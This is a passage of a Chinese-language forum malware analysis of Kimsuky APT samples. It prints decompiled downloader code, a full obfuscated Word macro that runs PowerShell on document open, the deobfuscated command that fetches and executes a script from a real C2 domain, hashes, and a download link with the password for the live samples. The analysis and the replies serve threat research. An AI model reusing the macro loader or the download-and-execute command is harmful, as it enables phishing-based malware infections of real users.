InternetCloseHandle(v1);
return 0;
}
v3 = HttpOpenRequestA(v2, "GET", szObjectName, "HTTP/1.0", 0, lpszAcceptTypes, 0x84000000, 0);
v4 = v3;
if ( !v3 )
{
GetLastError();
InternetCloseHandle(v2);
v20 = hFile;
InternetCloseHandle(v1);
return v20;
}
if ( !HttpSendRequestA(v3, "Content-Type: application/x-www-form-urlencoded\r\n", 0x31u, 0, 0) )
{
GetLastError();
goto LABEL_24;
}
dwBufferLength = 10;
if ( !HttpQueryInfoA(v4, 5u, Buffer, &dwBufferLength, 0) )
{
LABEL_24:
InternetCloseHandle(v4);
InternetCloseHandle(v2);
v19 = hFile;
InternetCloseHandle(v1);
return v19;
}
dwBufferLength = sub_4090C4(v5, Buffer);
v6 = malloc(dwBufferLength + 1);
Block = v6;
if ( InternetReadFile(v4, v6, dwBufferLength, &dwNumberOfBytesRead) )
{
if ( !dwNumberOfBytesRead || *v6 != 0xB2 || v6 != 0xA5 )
{
InternetCloseHandle(v4);
InternetCloseHandle(hInternet);
InternetCloseHandle(v1);
return 0; // 无法访问则关闭访问
}
v8 = dwNumberOfBytesRead + nNumberOfBytesToWrite;
nNumberOfBytesToWrite += dwNumberOfBytesRead;
}
else
{
v8 = nNumberOfBytesToWrite;
}
if ( InternetReadFile(v4, &v6, dwBufferLength - v8, &dwNumberOfBytesRead) )
{
do
{
if ( !dwNumberOfBytesRead )
break;
v9 = dwBufferLength - (dwNumberOfBytesRead + nNumberOfBytesToWrite);
nNumberOfBytesToWrite += dwNumberOfBytesRead;
}
while ( InternetReadFile(v4, &v6, v9, &dwNumberOfBytesRead) );
}
if ( dwBufferLength != nNumberOfBytesToWrite )
goto LABEL_22;
DeleteFileA_0(byte_41DBB8);
hFile = CreateFileA_0(byte_41DBB8, 0x40000000u, 0, 0, 2u, 0, 0);
GetLastError();
v10 = hFile;
if ( hFile == -1 )
{
GetLastError();
hFile = 0;
LABEL_22:
j___free_base(v6);
v17 = hInternet;
InternetCloseHandle(v4);
InternetCloseHandle(v17);
v18 = hFile;
InternetCloseHandle(v1);
return v18;
}
v11 = nNumberOfBytesToWrite;
for ( i = 0; i < nNumberOfBytesToWrite; v11 = nNumberOfBytesToWrite )
{
v6 = ~v6;
++i;
}
WriteFile_0(v10, v6, v11, &nNumberOfBytesToWrite, 0);
CloseHandle_0(hFile);
Sleep(0x64u);
v13 = LoadLibraryA(byte_41DBB8);
GetLastError();
Sleep(0x2BF20u);
FreeLibrary(v13);
DeleteFileA_0(byte_41DBB8);
v14 = v22;
hFile = HANDLE_FLAG_INHERIT;
j___free_base(Block);
v15 = hInternet;
InternetCloseHandle(v4);
InternetCloseHandle(v15);
v16 = hFile;
InternetCloseHandle(v14);
return v16;
}
```
样本访问C2:pingguo2.atwebpages.com 向其发送GET请求/home/jpg/download.php?filename=button01,下载文件
动态调试没法成功建立连接,仔细一看发现网站已经关了。
综上这也就是一个下载器,使用了一个伪装的word程序迷惑受害者,虽然有窃取行为但主要是起到了建立远程连接下载程序的作用。推测下载下来的文件作用主要功能是对受害者系统具体的行为损害(例如注册表更改、文件篡改等)。
### 行为分析:
1.对已创建的资源表进行解密,将其解密成一个用以伪装的word文件。
2.打开word文件,文件的内容是关于韩国某高校的内容,同时创建一个子进程执行下面的操作。
3.在本地创建word文件,调用系统函数将受害者主机的信息写入创建的word程序中。
4.对pingguo2.atwebpages.com创建HTTP连接使用POST发送请求,将收集到的受害者信息发送到目标服务器。
4.对pingguo2.atwebpages.com创建HTTP连接使用GET发送请求,下载目标地址的文件/home/jpg/download.php。推测该文件作用是对计算机进行具体的破坏。
### IOCs
## 样本3
这个样本与样本1相同,都使用了宏进行操作,同样使用powershell对文件执行命令行操作。不同点在于此样本直接使用命令行进行远程文件下载。另外由于访问远程地址关闭,所以样本只分析了几步开始的
### 样本基本信息
提取样本基本信息:
| type | hash |
| :------ | ------------------------------------------------------------ |
| SHA256: | 9a54b0adff7424a02edfe7c365b6a699c006163a23f7abe901ea3395d2ec913b |
| MD5: | 7110e97164061aeb734f65a30aac8a7d |
| SHA1: | b6fbaaa6c4f8ca465768ac0cf66dd2bc2407324c |
### 样本分析
拿到样本发现也是一个word文档,打开文档发现是一个朝鲜语的表格
使用与样本1同样的方法提取宏代码,如下:
```vb
olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .\9a54b0adff7424a02edfe7c365b6a699c006163a23f7abe901ea3395d2ec913b.doc
Type: OpenXML
WARNINGFor now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Set djfeihfidkasljf = CreateObject("Shell.Application")//创建shell对象
Dim dfgdfjiejfjdshaj As String
fjdjkasf = "vnslajdsladkf"
fjdjkasf = Left(fjdjkasf, 5)
dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")
hdfksallasjkdlaf = "$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla "
hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")
ndkflajdkfjskdjfl = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag"
ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")
salfnxkfdlsjafkj = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslaevnslakvnslaavnslafvnsla.vnslamvnslayvnslaavnslarvnslatvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslahvnslaavnsla/vnslannvnsla.vnslatvnslaxvnslat')"
salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")
sjdfkjaslalsfial = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',"
sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")
aksfkjaskjfksnkf = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla"
aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")
yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, yeuskaksef, "", "open", 0
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub djfksdalfjkasj()
Selection.TypeText Text:="a"
End Sub
Sub ejdksaljfkalkf()
Selection.TypeText Text:="b"
End Sub
Sub eijdklsafkasdk()
Selection.TypeText Text:="c"
End Sub
Sub uehfsahdkajkas()
Selection.TypeText Text:="d"
End Sub
Sub eladjkfjaskaskj()
Selection.TypeText Text:="e"
End Sub
Sub dsjkljfkasdjakf()
Selection.TypeText Text:="f"
End Sub
Sub jsdkfjaskaskfas()
Selection.TypeText Text:="i"
End Sub
Sub eijfkdsalkfjaksfj()
Selection.TypeText Text:="j"
End Sub
Sub ewiasdkfjaskjf()
Selection.TypeText Text:="k"
End Sub
Sub qijdkasjlfkjask()
Selection.TypeText Text:="l"
End Sub
Sub qjiejwfksjalksa()
Selection.TypeText Text:="m"
End Sub
Sub oqdsjakfjksajfa()
Selection.TypeText Text:="n"
End Sub
Sub qojiewjfksajf()
Selection.TypeText Text:="o"
End Sub
Sub idifdsakjflakds()
Selection.TypeText Text:="p"
End Sub
Sub dsiafqdksajf()
Selection.TypeText Text:="q"
End Sub
Sub qeuejsahfdas()
Selection.TypeText Text:="r"
End Sub
Sub werjksjlakfja()
Selection.TypeText Text:="t"
End Sub
Sub yuehjdhaksda()
Selection.TypeText Text:="u"
End Sub
Sub qieuirajksdjfkaa()
Selection.TypeText Text:="v"
End Sub
Sub yeujashdfjaakw()
Selection.TypeText Text:="w"
End Sub
Sub qiwejkasjdfasfe()
Selection.TypeText Text:="y"
End Sub
Sub tejhjsahkfhka()
Selection.TypeText Text:="z"
End Sub
Sub vbsnjdfsdafdea()
Selection.TypeText Text:="h"
End Sub
Sub bvnmsnsdsaef()
Selection.TypeText Text:="x"
End Sub
Sub bndkslafkejalk()
Selection.TypeText Text:="g"
End Sub
Sub mxnjdsjkajfkea()
Selection.TypeText Text:="1"
End Sub
Sub qkdnasnjekusk()
Selection.TypeText Text:="2"
End Sub
Sub vbjaskheuajks()
Selection.TypeText Text:="3"
End Sub
Sub mnsjkasjkeaskjei()
Selection.TypeText Text:="4"
End Sub
Sub xdjfkdjiealjfe()
Selection.TypeText Text:="5"
End Sub
Sub bnmcnakfdeal()
Selection.TypeText Text:="6"
End Sub
Sub mzsasfeisakf()
Selection.TypeText Text:="7"
End Sub
Sub xcvjfeuhaskf()
Selection.TypeText Text:="8"
End Sub
Sub eyudfjashfkwe()
Selection.TypeText Text:="9"
End Sub
Sub eyuresahfshfae()
Selection.TypeText Text:="0"
End Sub
Sub qjiejwfksjalksainuse()
Selection.TypeText Text:="-"
End Sub
Sub idifdsakjflakdslus()
Selection.TypeText Text:="="
End Sub
Sub euirieafkjekjf()
Selection.TypeBackspace
End Sub
Sub qijdkasjlfkjaskBracket()
Selection.TypeText Text:="["
End Sub
Sub qeuejsahfdasBracket()
Selection.TypeText Text:="]"
End Sub
Sub qewuidsakfjkdf()
Selection.TypeText Text:="B"
End Sub
Sub eyruqjkajsfklef()
Selection.TypeText Text:="D"
End Sub
Sub qeirodjkfklejka()
Selection.TypeText Text:="E"
End Sub
Sub ieriqdkalefijlak()
Selection.TypeText Text:="F"
End Sub
Sub bndkslafkejalkG()
Selection.TypeText Text:="G"
End Sub
Sub vbsnjdfsdafdeaH()
Selection.TypeText Text:="H"
End Sub
Sub jsdkfjaskaskfasI()
Selection.TypeText Text:="I"
End Sub
Sub eijfkdsalkfjaksfjJ()
Selection.TypeText Text:="J"
End Sub
Sub ewiasdkfjaskjfK()
Selection.TypeText Text:="K"
End Sub
Sub qijdkasjlfkjaskL()
Selection.TypeText Text:="L"
End Sub
Sub qjiejwfksjalksaM()
Selection.TypeText Text:="M"
End Sub
Sub oqdsjakfjksajfaN()
Selection.TypeText Text:="N"
End Sub
Sub idifdsakjflakdsP()
Selection.TypeText Text:="P"
End Sub
Sub dsiafqdksajfQ()
Selection.TypeText Text:="Q"
End Sub
Sub qeuejsahfdasR()
Selection.TypeText Text:="R"
End Sub
Sub vbjdhfjashueka()
Selection.TypeText Text:="S"
End Sub
Sub werjksjlakfjaT()
Selection.TypeText Text:="T"
End Sub
Sub yuehjdhaksdaU()
Selection.TypeText Text:="U"
End Sub
Sub qieuirajksdjfkaaV()
Selection.TypeText Text:="V"
End Sub
Sub yeujashdfjaakwW()
Selection.TypeText Text:="W"
End Sub
Sub bvnmsnsdsaefX()
Selection.TypeText Text:="X"
End Sub
Sub qiwejkasjdfasfeY()
Selection.TypeText Text:="Y"
End Sub
Sub tejhjsahkfhkaZ()
Selection.TypeText Text:="Z"
End Sub
Sub qetdhfkdnkfan()
Selection.TypeText Text:="A"
End Sub
Sub qojiewjfksajfO()
Selection.TypeText Text:="O"
End Sub
Sub efhjdhajjfkejf()
Selection.TypeText Text:="\"
End Sub
Sub dsiafqdksajfuato()
Selection.TypeText Text:=";"
End Sub
Sub werjksjlakfjaaum()
Selection.TypeText Text:="'"
End Sub
Sub vbdhfuelaejdkfla()
Selection.TypeText Text:=","
End Sub
Sub bdkskaleidfjkdal()
Selection.TypeText Text:="."
End Sub
Sub euirieafkjekjflash()
Selection.TypeText Text:="/"
End Sub
Sub xcvjdhfjdkfskael()
Selection.TypeText Text:="@"
End Sub
Sub vbdfasfjkeijkdsal()
Selection.TypeText Text:="#"
End Sub
Sub vbmssnxnjdska()
Selection.TypeText Text:="$"
End Sub
Sub zxcdjifjdkfaslfdsaf()
Selection.TypeText Text:="%"
End Sub
Sub eyuehdjshfjhad()
Selection.TypeText Text:="^"
End Sub
Sub cbvcjkdsfsfeal()
Selection.TypeText Text:="&"
End Sub
Sub vbkjdfseeuusakl()
Selection.TypeText Text:="*"
End Sub
Sub eyureuqhjfhak()
Selection.TypeText Text:="("
End Sub
Sub eujdhszfkjheuka()
Selection.TypeText Text:=")"
End Sub
Sub euehfhafjhdjkafqka()
Selection.TypeText Text:="_"
Application.Run MacroName:="Project.NewMacros.euirieafkjekjf"
Application.Run MacroName:="Project.NewMacros.qjiejwfksjalksainuse"
Application.Run MacroName:="Project.NewMacros.euirieafkjekjf"
Selection.TypeText Text:="_"
End Sub
Sub eijfkdjqjdfklafea()
Selection.TypeText Text:="+"
End Sub
Sub efuehjsahfklkejklafe()
Selection.TypeText Text:="{"
End Sub
Sub vbnmndmnsfajhfeaef()
Selection.TypeText Text:="}"
End Sub
Sub nmndsfjfekafeka()
Selection.TypeText Text:="|"
End Sub
Sub bvjdfjdhefkafskefa()
Selection.TypeText Text:=":"
End Sub
Sub bdnfasekdifjljqjfks()
Selection.TypeText Text:=""""
End Sub
Sub eijfklsfnvkdaflfkejfa()
Selection.TypeText Text:="<"
End Sub
Sub xcnmnvdfefkakfl()
Selection.TypeText Text:=">"
End Sub
Sub eoiqwerdjkfajfwe()
Selection.TypeText Text:="?"
End Sub
Sub eioqieridsakfje()
Selection.TypeText Text:="s"
End Sub
Sub eioqieridsakfje1()
Selection.TypeText Text:="!"
End Sub
Sub uyeufhejqkefj()
Selection.TypeText Text:="C"
End Sub
Sub dfekljsahdfjaea()
Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Sub vbsnjdfsdafdeaome()
Selection.HomeKey Unit:=wdLine
End Sub
Sub yuefiuhewjkhfas()
Selection.EndKey Unit:=wdLine
End Sub
Sub idifdsakjflakdsageup()
Selection.MoveUp Unit:=wdScreen, Count:=1
End Sub
Sub yuehjdhaksdap()
Selection.MoveUp Unit:=wdLine, Count:=1
End Sub
Sub eruwqfjksafqe()
Selection.MoveDown Unit:=wdLine, Count:=1
End Sub
Sub qijdkasjlfkjaskeft()
Selection.MoveLeft Unit:=wdCharacter, Count:=1
End Sub
Sub qeuejsahfdasight()
Selection.MoveRight Unit:=wdCharacter, Count:=1
End Sub
Sub idifdsakjflakdsagedown()
Selection.MoveDown Unit:=wdScreen, Count:=1
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec|Document_Open |Runs when the Word or Publisher document is|
| | |opened |
|Suspicious|open |May open a file |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|Run |May run an executable file or a system |
| | |command |
|Suspicious|ShellExecute |May run an executable file or a system |
| | |command |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|Shell.Application |May run an application (if combined with |
| | |CreateObject) |
+----------+--------------------+---------------------------------------------+
```
发现前部分代码创建shell之后出现一些比较奇怪的代码,推测可能进行过加密,网上一搜发现(https://asec.ahnlab.com/en/25523/)这是Kimsuky组织进行代码混淆的手段,隐藏的代码是进行远程连接的代码,火绒剑动作检测发现样本调用了powershell进行了远程连接操作然后下载网站内的特定文件http://uekaf.myartsonline[.]com/ha/nn.txt,连接命令:
cmdline:'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uekaf.myartsonline[.]com/ha/nn.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x'
访问这个地址发现403。emmmm。。。。。
### 样本行为
1.样本伪造成韩国的表格同时代码隐藏在宏里
2.宏代码使用了特定的手段隐藏了C2地址以阻碍分析,并且远程连接C2下载文件http://uekaf.myartsonline[.]com/ha/nn.txt
### IOCs
## 总结
本文主要对朝鲜APT组织KimSuky的三个典型的样本进行了分析,发现该组织通常使用社会工程学内容发送钓鱼邮件将样本伪造成受害者组织或地区的官方文档、表格、调查报告,非常具有迷惑性。同时该组织使用宏代码载入word文档中,使用powershell或cmd实现基本的受害者主机的信息收集和远程C2的连接,下载攻击载荷对受害者计算机实行具体的攻击,包括但不限于修改注册表项、上传受害者的计算机基本信息、文件的创建与修改。此外,在攻击者进行编写宏代码的时候使用了代码混淆技术隐藏了C2地址。
关于近期KimSuky组织的攻击手段,发现该组织开始使用多段C2控制技术、(也就是分成不同的阶段多次连接服务器下载攻击载荷)[攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析 (qq.com)](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247489545&idx=1&sn=c1d239b02bd5e4971bd63a3df1c3b328&chksm=c187d818f6f0510e055e8fb6fc963f6a28517246d3fab5f71bc69fb13208b050881650088a87&mpshare=1&scene=1&srcid=1008OFw1v0yqklXYUr5zq0ka&sharer_sharetime=1665194658526&sharer_shareid=af003b3f2008edcfbcc423963930a476#rd)使用PebbleDash木马、双扩展名VBS样本等手段对目标进行攻击。
## 其他
### 参考链接
[原创干货 | 【恶意代码分析技巧】08-文档宏病毒-SecIN (sec-in.com)](https://www.sec-in.com/article/67)
[恶意代码分析中一些常见的非PE样本分析 (buaq.net)](https://buaq.net/go-17265.html)
[脚本类恶意程序分析技巧汇总 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn](https://www.52pojie.cn/thread-944487-1-1.html)
[如何辨别恶意Office文件? - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com](https://www.4hou.com/posts/Yq9Y)
[一次KimSuky攻击事件分析 (qq.com)](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651091807&idx=4&sn=5ffb99e40c185d513bdf622440f9ed47&chksm=bd1fe1d48a6868c22067f2007661c50b32430d85fe4695a60a29499566000453d3821dfec461&mpshare=1&scene=1&srcid=1008IQOAPA6igtrLyN9UhI2Z&sharer_sharetime=1665194699222&sharer_shareid=af003b3f2008edcfbcc423963930a476#rd)
[一次KimSuky攻击事件分析 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/network/243718.html)
(https://www.anquanke.com/post/id/219593)
[奇安信威胁情报中心 (qianxin.com)](https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/)
[疑似 KimsukyAPT 组织最新攻击活动样本分析 - 腾讯云开发者社区-腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1695066)
(https://zoemurmure.github.io/posts/a-kimsukyapt-sample/)
[白头山的战士:Kimsuky最新攻击活动样本分析 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/system/248717.html)
[朝鲜高级持续性威胁焦点:金苏基·|断续器 (cisa.gov)](https://www.cisa.gov/uscert/ncas/alerts/aa20-301a)
[东北亚活跃分子APT组织Kimsuky之事件篇 – 绿盟科技技术博客 (nsfocus.net)](http://blog.nsfocus.net/apt-kimsuky/)
[针对与朝鲜相关的特定个人的恶意Word文件 - ASEC博客 (ahnlab.com)](https://asec.ahnlab.com/en/38182/)
[攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析 (qq.com)](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247489545&idx=1&sn=c1d239b02bd5e4971bd63a3df1c3b328&chksm=c187d818f6f0510e055e8fb6fc963f6a28517246d3fab5f71bc69fb13208b050881650088a87&mpshare=1&scene=1&srcid=1008OFw1v0yqklXYUr5zq0ka&sharer_sharetime=1665194658526&sharer_shareid=af003b3f2008edcfbcc423963930a476#rd)
### 样本链接
链接:https://pan.baidu.com/s/1B0bHlgui3SaMOOSRMr8TnQ?pwd=ldsk
提取码:ldsk
样本的解压密码均为threatbook
## 样本 1
> `$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"//KimSuky常用的协议`
这个是标准的 POST 文件(`multipart/form-data`)过程。你可以抓包浏览器上传文件时的提交数据,基本上就是后面几个字符随机化。
> ` $comletter = decode $codestring//对数据进行加密`
这里是解密
## 样本 2
> 下面一段内容样本程序在本地Temp路径下创建一个word文档名称为“4.[酒怕楷备]稠巩捧绊痹沥.docx”。并且将内存内容写入文档里。
实际文件名应该是 `4.[아태연구]논문투고규정.docx` 。程序使用 ANSI 版本的系统函数,原代码页应该是韩文。
这个文件名翻译过来是 `4.[亚太研究]论文投稿规则.docx`,符合正文的内容。
> 线程名称是StartAddress
这个是 IDA 根据[微软公开的 API 参数名](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)自动补充的名字,没有什么含义。
> 也就是命令执行的时候是不会进行弹出控制台程序的。
不是这个参数控制的。是 ShellExecuteEx 第一个参数的 `nShow` 成员控制,即之前的`pExecInfo.nShow = SW_HIDE;` (`SW_HIDE = 0`)。
然后后面的下载、解密部分漏掉了:
```c
for ( i = 0; i < nNumberOfBytesToWrite; v11 = nNumberOfBytesToWrite )
{
v6 = ~v6; // <- 解密
++i;
}
WriteFile_0(v10, v6, v11, &nNumberOfBytesToWrite, 0); <- 写出文件
```
v10 是文件句柄,路径在 `byte_41DBB8` 这个指针里。下载下来后使用 LoadLibrary 加载到内存,没做藏匿。
现在的杀毒软件应该能很容易检测到。能在 2020 年的样本发现这个行为也是很奇怪了…
主程序在 DLL 加载后(DLL 初始化时应该建立了一个新的线程进行破坏)等待 50 小时然后尝试毁灭证据,但我估计会因为文件被占用没法正常销毁这个 DLL 文件 :)
## 样本 3
> 发现前部分代码创建shell之后出现一些比较奇怪的代码,推测可能进行过加密…
可以开个虚拟机并断网,把代码的 `djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, yeuskaksef, "", "open", 0` 改成弹信息框或打印后执行宏,就可以不依赖火绒来捕捉执行的指令了。
看不懂 但是大为震撼{:301_998:} 谢谢分享经验,样本解压密码是什么? 样本解压密码自己找到了,解压密码:threatbook lies2014 发表于 2022-10-19 17:19
样本解压密码自己找到了,解压密码:threatbook
不好意思啊,忘记标注了。。。。。 @Ginobili 防止图床失效,能否把图片上传论坛本地,方便阅读,这样加载速度也快一些。 看看怎么样 喔:eee,感谢大佬分享 谢谢分享,大神代码分享真强